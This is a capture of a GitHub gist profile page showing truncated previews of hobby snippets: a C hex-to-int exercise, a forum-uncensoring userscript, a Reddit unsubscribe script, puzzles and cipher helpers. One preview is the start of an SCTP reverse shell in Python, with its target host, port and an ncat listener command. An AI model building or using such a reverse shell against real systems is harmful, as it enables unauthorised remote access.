Skip to content

Instantly share code, notes, and snippets.

View hyperreality's full-sized avatar

hyperreality

View GitHub Profile
@hyperreality
hyperreality / htoi.c
Created September 11, 2014 20:06
Hex to Int (Kernighan & Ritchie 2-3)
#include <stdio.h>
#include <ctype.h>
int htio(char s[])
{
int i,n;
n=0;
for (i=0; isxdigit(s[i]); ++i)
{
n *= 16;
@hyperreality
hyperreality / SomethingAwfulUnfilter.user.js
Created July 16, 2016 03:10
Greasemonkey script to uncensor the Something Awful forums
// ==UserScript==
// @name Something Awful Unfilter
// @namespace http://localhost
// @description Uncensor Something Awful forums for unregistered guests
// @include http://*somethingawful.com/*
// @include https://*somethingawful.com/*
// @version 1
// @grant none
// ==/UserScript==
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import random
code_points = {
'english': (32, 126),
'burmese': (1024, 1279),
'arabic': (1536, 1791),
'canadian_aboriginal': (5120, 5759),
@hyperreality
hyperreality / Reddit: Auto - unsubscribe from default subreddits
Last active September 24, 2016 18:55
And auto-subscribe to favourite subreddits
// To remove the inane default subreddits automatically
// Go to https://www.reddit.com/subreddits/ and paste the following code into your browser console
function clickSubredditButtons(buttons) {
var i = buttons.length;
setTimeout(function() {
buttons[0].click()
if (--i) clickSubredditButtons(buttons.slice(1));
}, 500)
}
@hyperreality
hyperreality / problem5.js
Created November 29, 2016 16:22
Programming Problem 5: Sum to 100
// Problem 5
// Write a program that outputs all possibilities to put + or - or nothing between the numbers 1, 2, ..., 9 (in this order) such that the result is always 100. For example: 1 + 2 + 34 – 5 + 67 – 8 + 9 = 100.
// http://www.shiftedup.com/2015/05/07/five-programming-problems-every-software-engineer-should-be-able-to-solve-in-less-than-1-hour
var nums = [1, 2, 3, 4, 5, 6, 7, 8, 9],
symbols = ['+', '-', ' '],
perms = [];
function kLengthPermutations(permArr, k, prefix) {
@hyperreality
hyperreality / so-debug.js
Last active October 28, 2018 17:46
Automatic Stack Overflow debugging (joke)
#!/usr/bin/env node
const opn = require('opn');
var path = require('path');
var argv = require('minimist')(process.argv.slice(2));
if (!argv._.length) {
console.log('Usage: so-debug FILE.js [-g search Google] [-b specify which browser to use]');
}
else {
python -c "import readline,subprocess as s;p=s.Popen('mira',shell=True,stdin=s.PIPE);[p.stdin.write(raw_input()+'\n') for _ in iter(int,1)]"
@hyperreality
hyperreality / .bashrc
Last active October 29, 2018 23:13
Esperanto Ĉapelliteroj Bash Alias
alias eo="sed -i -e 's/cx/ĉ/g;s/gx/ĝ/g;s/hx/ĥ/g;s/jx/ĵ/g;s/sx/ŝ/g;s/ux/ŭ/g;s/Cx/Ĉ/g;s/Gx/Ĝ/g;s/Hx/Ĥ/g;s/Jx/Ĵ/g;s/Sx/Ŝ/g;s/Ux/Ŭ/g'"
# Svopas 'Cx' notacion en input dosierojn por ĉapelliterojn 'Ĉ'.
# Ekzemple: eo input.txt
@hyperreality
hyperreality / sctp_reverse_shell.py
Created April 14, 2017 17:22
Simple Python reverse shell using the SCTP protocol
#!/usr/bin/env python3
#
# Tiny SCTP Reverse Shell inspired by http://insecurety.net/?p=765
# Connect with `ncat --sctp -lvp 1234`
import os, socket, subprocess
RHOST = '127.0.0.1'
RPORT = 1234
#!/usr/bin/python3
from collections import Counter
import operator
import string
def ic(ctext):
num = 0.0
den = 0.0
for val in Counter(ctext).values():